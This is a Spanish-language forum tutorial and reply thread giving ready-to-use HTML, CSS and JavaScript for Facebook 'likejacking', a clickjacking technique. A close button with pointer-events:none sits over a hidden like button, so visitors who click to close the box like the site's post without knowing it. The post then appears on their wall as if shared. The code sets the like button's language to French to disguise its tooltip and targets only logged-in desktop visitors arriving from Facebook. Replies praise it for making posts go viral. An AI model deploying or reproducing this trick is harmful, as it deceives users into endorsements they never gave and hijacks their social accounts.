Tutorial: Cómo crear un LightBox con un cuadro para dar like en Facebook de manera automática

  • Autor Autor Cicklow
  • Fecha de inicio Fecha de inicio
Cicklow

Cicklow

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Buenas, este tutorial vendría a ser una continuación de 2 de mis tutoriales anteriores:
http://forobeta.com/tutoriales/253426-ocultar-like-css-capturar-like-js.html
http://forobeta.com/tutoriales/251727-ocultar-like-css.html

Lo que haremos en esta ocasión sera mostrar un LightBox el cual contendrá un cuadro para dar like a una fanpage, y un botón "Cerrar", pero este botón por debajo tendrá el like oculto...

El usuario al darle click al like oculto esta compartiendo su post en facebook, no es el clasico autolike de que solo de da me gusta a una url fija (una fanpage por ejemplo)... en este caso comparte el post en el muro del usuario, digamos comparte porque el estilo del post es parecido al de compartir, pero solo le esta dando me gusta a un post de su sitio web. Es importante para que esto funcione que los og:metas esten en su sitio web (ver mas adelante)...

Varios puntos sobre este tutorial:
- El like oculto solo se muestra al usuario que viene desde facebook, con esto nos aseguramos que el usuario esta logeado
- Cuando el usuario da like, capturamos ese evento y ocultamos el LightBox, y para que no aparezca por un tiempo colocamos una cookie
- El AutoLike funciona para cualquier sitio, sea WP, Blogger, o mi propio código...
- Puede que con el tiempo el AutoLike pida confirmar el like, o puede que no... depende de facebook...
- No se va a mostrar en versiones mobiles, ya que el usuario usa la aplicacion de facebook y no esta logeado en el navegador, haciendo que el like pida los datos del usuario para logearse...
- Si por alguna razon el LightBox no puede ser cerrado, este se cierra solo luego de 10 segundos (se puede cambiar)


Así se vera al usuario:
cXQd8AQ.png


Y así lo verán los amigos (en facebook):
xZjLQb8.png


Todos sabemos (o la mayoria) que al colocar el cursor sobre el like este dice "Me Gusta", para evitar que el usuario se de cuenta de esto, cambiaremos el idioma del like, en este caso lo pondremos en Frances, pero ustedes pueden colocar el idioma que gusten (que no sea ingles o español)
Listado que soporta facebook: https://www.facebook.com/translations/FacebookLocales.xml

Antes de continuar y explicar el codigo en cuestion hay que tener unos puntos en cuenta:
- El sitio web donde se coloque el like tiene que tener los og meta de facebook. Ejemplo:
HTML:
<meta property="og:url" content="http://test.cicklow.me/like.html" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="ForoBeta Like" />
	<meta property="og:description" content="Somos betas, siempre mejoramos" />
	<meta property="og:image" content="http://test.cicklow.me/like.png" />
	<meta property="fb:app_id" content="56312423423423" />
Traten siempre que la imagen sea mayor o igual a 600x315, asi se grande en facebook... (como el ejemplo mas arriba).
- Estos og meta, pueden ser generados por un plugin o colocados a mano, depende del CMS que usen.

Paso 1
Vamos a https://developers.facebook.com/apps/ y creamos una nueva aplicación, con esto obtendremos un ID de aplicación para usar.

Paso 2
Antes del </head> colocamos (si es wp, editar header.php... si es blogger tienen que editar el diseño):
HTML:
	<style>
		#contenedor{ display:none; width:100%;height:100%;position:fixed;top:0px;left:0px;background-color:rgba(0,0,0,0.7); z-index:9996;}
		#cuadrito{ border:1px solid #fff; width:280px; height:150px; color:#fff; position:absolute; top:40%;left:40%; background-color: #3b5998;z-index:9997; padding:5px;}
		#boton { pointer-events:none; font-family:verdana; padding:10px; background-color:#fff; position:absolute;bottom:5px; color:#000; left:33%; width:80px; text-align:center; z-index:9999; }
		#lke{ position:absolute; padding:10px; left:36%; bottom: -2px; width:73px; text-align:center;  z-index:9998; }
		.fb-like{ overflow:hidden; width: 80px; }
	</style>
Este CSS se encarga del LightBox, del cuadro de pedir like y de ubicar los objetos en el cuadro... y lo nuevo que usaremos en css es:
HTML:
pointer-events:none
Ese simple código hace que el tag A (link) pierda el evento click, haciendo que podamos dar click en el like, en un resumen mas basico, tenemos dos capas una arriba de otra, la capa 0 es el like y la capa 1 es el boton, sin el pointer events al darle click al boton, pues estariamos haciendo eso...dando click al boton, pero al sacarle el click lo que se hace es darle al like el click (es un lio de click click click... XD)


Paso 3
Luego de <body> colocamos (si es WP editamos index.php (o home.php), puede que tambien sea header.php...)
HTML:
<div id="contenedor">
<div id="cuadrito">
	<iframe width="280px" height="70px" frameborder="0" border="0" src="about:blank" id="fanpage"></iframe>
	<a href="javascript:void(0);" id="boton">CERRAR</a>
	<div class="fb-like" id="lke"></div>
	<div id="fb-root"></div>
</div>
</div>
Aca colocamos el contenedor (lightbox), el cuadrito que pide el like y los objetos que facebook necesita... Como ven tenemos un iframe con src="about:blank" esto es asi, ya que luego con JS colocaremos la url de nuestra fanpage...

Paso 4
Antes de </body> colocamos (en WP editamos footer.php):
PHP:
<script>
//Verificamos si el usuario viene desde facebook y no es un mobil
    if (document.referrer.indexOf('facebook.com') >= 0 && !detectmob()) {
//Luego de 10 segundos se cierra el lightbox... es por cualquier cosa...
        setTimeout(function(){  ver_like_ccw(); }, 10000); //10000 = 10 segundos
//Verificamos si la cookie no existe
        if (getCookie('like') != 1) {
//Aca colocaran la url de su fanpage
	    var urlfan = "https://www.facebook.com/facebook";
//Agregamos la url completa del likebox de nuestra fanpage
	    document.getElementById('fanpage').src = "https://www.facebook.com/v2.5/plugins/page.php?adapt_container_width=true&app_id=563126933851462&container_width=280&hide_cover=false&href="+encodeURIComponent(urlfan)+"&locale=es_ES&sdk=joey&show_facepile=false&small_header=true";
//Mostramos el LightBox
            document.getElementById('contenedor').style.display = "block";
        }
    }

//Esta funcion esta encargada de ocultar el lightbox y colocar la cookie (100 dias dura)
    function ver_like_ccw(url, html_element) {
        document.getElementById('contenedor').style.display = "none";
        setCookie('like', '1', 100);
    }
//funcion para colocar cookies
    function setCookie(cname, cvalue, exdays) {
        var d = new Date();
        d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
        var expires = "expires=" + d.toUTCString();
        document.cookie = cname + "=" + cvalue + "; " + expires;
    }
//funcion para leer cookies
    function getCookie(cname) {
        var name = cname + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
            var c = ca[i];
            while (c.charAt(0) == ' ') c = c.substring(1);
            if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
        }
        return "";
    }

//Cargamos el SDK de facebook
//Reemplazamos 123456789 por el ID de nuestra aplicacion
    window.fbAsyncInit = function() {
        FB.init({
            appId: '123456789',
            xfbml: true,
            version: 'v2.5'
        });
//Con edgecreate lo que hacemos es controlar si el user dio like
        FB.Event.subscribe('edge.create', ver_like_ccw);
    };
//Como ven dice fr_FR eso es el idioma del like ;)
    (function(d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id)) {
            return;
        }
        js = d.createElement(s);
        js.id = id;
        js.src = "//connect.facebook.net/fr_FR/sdk.js";
        fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));
//funcion encargada de detectar el mobil
    function detectmob() { 
        if( navigator.userAgent.match(/Android/i)
        || navigator.userAgent.match(/webOS/i)
        || navigator.userAgent.match(/iPhone/i)
        || navigator.userAgent.match(/iPad/i)
        || navigator.userAgent.match(/iPod/i)
        || navigator.userAgent.match(/BlackBerry/i)
        || navigator.userAgent.match(/Windows Phone/i)
        ){
            return true;
        } else {
            return false;
        }
    }
</script>

Como ven no tiene mucha ciencia el codigo en si, basicamente el truco esta en el CSS con el pointer event (evento de puntero) y luego son unas capas ocultando el like al usuario... Al colocar el autolike en la capa de abajo y la cubrimos con otra obtenemos el efecto deseado...

Demo
(el demo esta modificado para que funcione igual sin importar si entra desde facebook o no)
Insertar CODE, HTML o PHP:
http://test.cicklow.me/like.html

Ayuda
FB.Event.subscribe
Pointer Events
Mejores practicas para compartir en facebook
Tutorial 2 Base
Tutorial 1 Base

Licencia
- Este tutorial puede ser reproducido en cualquier otro lugar, siempre y cuando se deje un link hacia este post.
- No se permite la comercialización alguna de este código, sea parcial, total o derivados del mismo.


Saludos...
PD: Odio los autolike... pero estaba aburrido XD 😛7:

Para los usuarios de WP
Si quieren que solo sea funcional en los post y no en el inicio/busquedas/etc de WP solo coloquen el JavaScript del paso 4 de esta manera:
PHP:
<?php if(is_single()){ ?>
Codigo del paso 4
<?php } ?>
De esta forma el autoshare/autolike solo se mostrara en los post

Y aca les dejo un ejemplo de como se vería en un WP (El WP es del tutorial: Tu propio sitio de tarot)
Ds3irEk.jpg

Y en FB:
vHOrfaF.jpg


Para que funcione con cada post en WP solo tienen que hacer estas modificaciones....
buscar
PHP:
if (getCookie('like') != 1) {
cambiar por
PHP:
 if (getCookie('like<?php the_ID(); ?>') != 1) {
......
y tambien
PHP:
setCookie('like', '1', 100);
por
PHP:
setCookie('like<?php the_ID(); ?>', '1', 100);
eso hace que funcione con cada post.

Si tienen otra llamada al SDK de facebook
HTML:
    (function(d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id)) {
            return;
        }
        js = d.createElement(s);
        js.id = id;
        js.src = "//connect.facebook.net/fr_FR/sdk.js";
        fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));
Puede que el script no funcione bien, o simplemente muestre el like en español
 
Última edición:
Muchas gracias , Un saludo.
 
Muchas gracias por compartir, sin duda un ganador de la semana :encouragement:
 
Gracias! 🙂
 
Muchas gracias por compartir, sin duda un ganador de la semana :encouragement:

De nada... pero jamas competí con los tutoriales... una ves gane uno y deje el premio al segundo mas votado... pienso que como mod no se ve bien que gane alguien de dentro del foro... es como si haces un sorteo para los compradores de un negocio y lo gana un empleado... XD...
 
[MENTION=9679]cicklow[/MENTION] muy buen tutorial, estaria bien saber sobre el autoshare
 
[MENTION=9679]cicklow[/MENTION] muy buen tutorial, estaria bien saber sobre el autoshare

los autoshare no existen... son solo autolikes... este comparte el post que el usuario esta viendo... no es un autolike de una url, sino del post que el usuario ve...
 
los autoshare no existen... son solo autolikes... este comparte el post que el usuario esta viendo... no es un autolike de una url, sino del post que el usuario ve...

amm pensaba que si que habia uno por ay funcionando.
 
amm pensaba que si que habia uno por ay funcionando.

no...solo le pusieron de nombre autoshare... pero es solo un like a un post. Y al tener los og:meta de facebook este parece que se compartio un post en el muro, pero es solo un like... el share implica abrir una ventana nueva la cual aparece el cuadro de compartir... eso no puede ser trampeado desde una web (puede ser con alguna extensión en el navegador, pero no desde la web)...

Por eso puse que tienen que colocar los og:meta en su sitio web, para que "parezca" que se compartio su post... aunque solo le dio like...
 
no...solo le pusieron de nombre autoshare... pero es solo un like a un post. Y al tener los og:meta de facebook este parece que se compartio un post en el muro, pero es solo un like... el share implica abrir una ventana nueva la cual aparece el cuadro de compartir... eso no puede ser trampeado desde una web (puede ser con alguna extensión en el navegador, pero no desde la web)...

Por eso puse que tienen que colocar los og:meta en su sitio web, para que "parezca" que se compartio su post... aunque solo le dio like...

ahh ok ok entiendo, gracias.
 
Excelente tutorial man, con esto se puede viralizar un buen post! :encouragement:
 
Interesante, voy a probar a ver que tal me va, muchas gracias!
 
no...solo le pusieron de nombre autoshare... pero es solo un like a un post. Y al tener los og:meta de facebook este parece que se compartio un post en el muro, pero es solo un like... el share implica abrir una ventana nueva la cual aparece el cuadro de compartir... eso no puede ser trampeado desde una web (puede ser con alguna extensión en el navegador, pero no desde la web)...

Por eso puse que tienen que colocar los og:meta en su sitio web, para que "parezca" que se compartio su post... aunque solo le dio like...

No se puede hacer para que en caso de que el usuario no este logueado en facebook no le salga nada y el mensaje se cierre al dar cerrar ventana 😀

Es muy chulo la verdad, seguramente con esto se consigue viralizar a tope 🙂
 
Estupendo tutorial, solo me falta tener facebook jajajajja
 
Me gusta cuando se trabaja con código y se deja constancia del trabajo, gracias [MENTION=9679]cicklow[/MENTION] lo probaré en un rato que tenga tiempo libre.

Saludos
 
[MENTION=9679]cicklow[/MENTION] Muchas gracias papu :encouragement:
 
+10 y a favoritos excelente tutorial, tiene un me agrada buen hombre
 
En favorito, muy buen tutorial para viralizar un artículo. Lo utilizaré en alguno de mis blogs para ver que tal funciona :encouragement:
 
ah ya comprendí ---
 
Última edición:

Temas similares

Atrás
Arriba